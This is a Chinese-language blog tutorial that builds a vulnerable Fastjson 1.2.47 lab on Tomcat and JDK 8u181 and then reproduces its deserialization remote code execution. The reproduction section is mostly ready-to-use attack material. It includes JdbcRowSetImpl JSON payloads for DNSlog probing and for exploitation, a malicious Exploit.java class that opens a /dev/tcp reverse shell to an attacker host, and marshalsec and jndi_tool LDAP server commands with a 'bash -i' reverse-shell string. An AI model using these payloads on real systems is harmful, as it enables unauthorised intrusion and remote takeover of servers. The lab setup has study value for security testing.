Fastjson-1.2.47漏洞环境搭建及复现

image-20220831181656337

0x00 前言

近期攻防值守期间,发现客户单位仍然存在 Fastjson 反序列化漏洞,时隔多秋该漏洞仍然可以被作为打点的利器,于是本着学习的心态重新学习一遍。

Ox01 环境搭建

Tomcat环境搭建

$下载 tomcat9
archive.apache.org/dist/tomcat/tomcat-9/v9.0.27/bin/apache-tomcat-9.0.27.zip

$ 将此压缩包复制到linux服务器上,并重命名为tomcat9
tar -zxvf apache-tomcat-9.0.27.tar.gz
mv /apache-tomcat-9.0.27 /tomcat9

$ 授予tomcat9这个文件夹777权限
chmod -R 777 /tomcat9

Java 环境搭建

$ 下载 java 8u181
https://mirrors.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz

$ 解压后将 java 文件复制到 /usr/java 目录下
tar -zxvf jdk-8u181-linux-x64.tar.gz
mkdir /usr/java
mv jdk1.8.0_181/ /usr/java

$ 配置 java 环境
vim /etc/profile

$ 配置 java 环境,其中 CATALINA_HOME=/ 本地 tomcat 目录,具体看自身 tomcat9 放置路径在哪
export JAVA_HOME=/usr/java/jdk1.8.0_181
export JRE_HOME=/usr/java/jdk1.8.0_181/jre
export CLASS_PATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:$JRE_HOME/lib
export PATH=$PATH:$JAVA_HOME/bin:$JRE_HOME/bin
export CATALINA_HOME=/tomcat9

$ 使配置文件生效
source /etc/profile

$ 查看 java 环境是否生效
[root@vultr ~]# java -version
java version “1.8.0_181”
Java(TM) SE Runtime Environment (build 1.8.0_181-b13)
Java HotSpot(TM) 64-Bit Server VM (build 25.181-b13, mixed mode)

Fastjson环境部署

$ fastjson-1.2.47,Web 环境文件下载
https://pan.baidu.com/s/1C022L851nIkq4zy5hiG_TA&shfl=shareset 提取码: sven

$ 将fastjson.war放置以下目录
tomcat9/bin

$ 授予tomcat9这个文件夹777权限
chmod -R 777 /tomcat9

漏洞环境启动

1、进入 tomcat/bin 目录输入以下命令启动环境

1
./catalina.sh start

image-20220831144348744

2、tomcat服务正常

image-20220829113214101

3、出现 Hello Word,fastjson 漏洞环境正常

image-20220831144845976


0x02 漏洞复现

手动反弹

1、根据前面的环境部署 JDK 为 8u181,所以使用 LDAP 方式进行漏洞复现,本次复现具体漏洞环境为

[+] apache-tomcat-9.0.27
[+] fastsjon-1.2.47
[+] jdk-8u181
[+] 两台真实VPS,一台搭建漏洞环境,一台用于反弹shell
[+] win10攻击机

img

【图一】 RMI 与 LDAP 具体支持版本的 JDK 版本

2、LADP 反弹 shell,测试 fastjson 服务是否正常运行

1
{"name":"xx","age":"999"}

image-20220831145323940

响应正常,fastsjon服务正常

image-20220831204721804

2、利用 DNSlog 进行漏洞探测, POC 如下

1
2
3
4
5
6
7
8
9
10
11
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://dnslog域名",
"autoCommit":true
}
}

image-20220831132648019

image-20220831132438496

3、反弹shell

image-20220831205912490

将以下代码命名为 Exploit.java 编译生成 Exploit.class ,并开启 Python 临时 Web 服务放置恶意类;代码中反弹 shell 中需更改为获取反弹 shell 的 VPS 地址,2333为后续 nc 监听的端口。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
public Exploit() throws Exception {
Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/反弹shell主机IP/2333;cat <&5 | while read line; do $line 2>&5 >&5; done"});
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));

String line;
while((line = reader.readLine()) != null) {
System.out.println(line);
}

p.waitFor();
is.close();
reader.close();
p.destroy();
}

public static void main(String[] args) throws Exception {
}

image-20220831150537216

利用 marshalsec 开启 LDAP 服务,2121为 LDAP 服务端口,3333为上一步开启的 python 服务端口

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://恶意class_IP:3333/#Exploit 2121

image-20220831150758309

开启 nc 监听,等待反弹 shell

1
nc -lvvp 2333

image-20220831150855930

Burp 放包,实现反弹 shell,Poc 如下

1
2
3
4
5
6
7
8
9
10
11
12
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://反弹shell主机IP:2121/Exploit",
"autoCommit":true
}

}

image-20220831134702119

VPS 查看,成功反弹

image-20220831210528598


0x03 其它方法

利用 jndi_tool 获取反弹 shell

1、工具下载链接

1
https://github.com/wyzxxz/jndi_tool

2、反弹 shell 命令

1
2
3
4
5
# 详细命令
java -cp jndi_tool.jar jndi.HLDAPServer x.x.x.x 2121 "bash=bash -i >&/dev/tcp/x.x.x.x/2333 0>&1"

# 命令解释
java -cp jndi_tool.jar jndi.HLDAPServer 本机IP LDAP服务监听端口 "bash=bash -i >&/dev/tcp/获取反弹shell的VPS_IP/获取shell监听端口 0>&1"

image-20220831200418585

3、Burp 放包执行命令

1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x.x.x.x:2121/Object","autoCommit":true}

image-20220831200818338

4、成功获取反弹 shell

image-20220831201239796

5、工具作者教程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
ldap:
1. 启动LDAP服务,后面写要执行的语句
java -cp jndi_tool.jar jndi.HLDAPServer xx.xx.xx.xx 80 "curl dnslog.wyzxxz.cn"

2. 发送请求包
POST /test HTTP/1.1
Host: 127.0.0.1
Content-Type: application/json
Accept-Encoding: gzip, deflate
Connection: close
Accept: */*
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X)

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xx.xx.xx.xx:80/Object","autoCommit":true}


3. 查看日志是否执行成功

4、注:使用常规反弹shell无法实现反弹,作者反馈反弹shell命令为:bash=bash -i >&/dev/tcp/x.x.x.x/80 0>&1

Burp 被动扫描插件

1、下载地址

1
https://github.com/pmiaowu/BurpFastJsonScan/releases/tag/BurpFastJsonScan-2.2.2

2、导入 Burp 后,遇到 json 语句会自动扫描,开启后关闭结果即可

0x04 参考文章

1
2
3
4
https://www.cnblogs.com/hei-zi/p/13274272.html
https://www.cnblogs.com/nul1/p/12747709.html
http://arsenetang.com/2022/03/20/Java%E7%AF%87%E4%B9%8BRMI&LDAP/
https://github.com/safe6Sec/Fastjson

0x05 本文工具

1
2
3
4
5
6
https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.27/bin/apache-tomcat-9.0.27.zip
https://mirrors.huaweicloud.com/java/jdk/8u181-b13/jdk-8u181-linux-x64.tar.gz
https://pan.baidu.com/s/1C022L851nIkq4zy5hiG_TA&shfl=shareset 提取码: sven
marshalsec-0.0.3-SNAPSHOT-all.jar
https://github.com/wyzxxz/jndi_tool
https://github.com/pmiaowu/BurpFastJsonScan/releases/tag/BurpFastJsonScan-2.2.2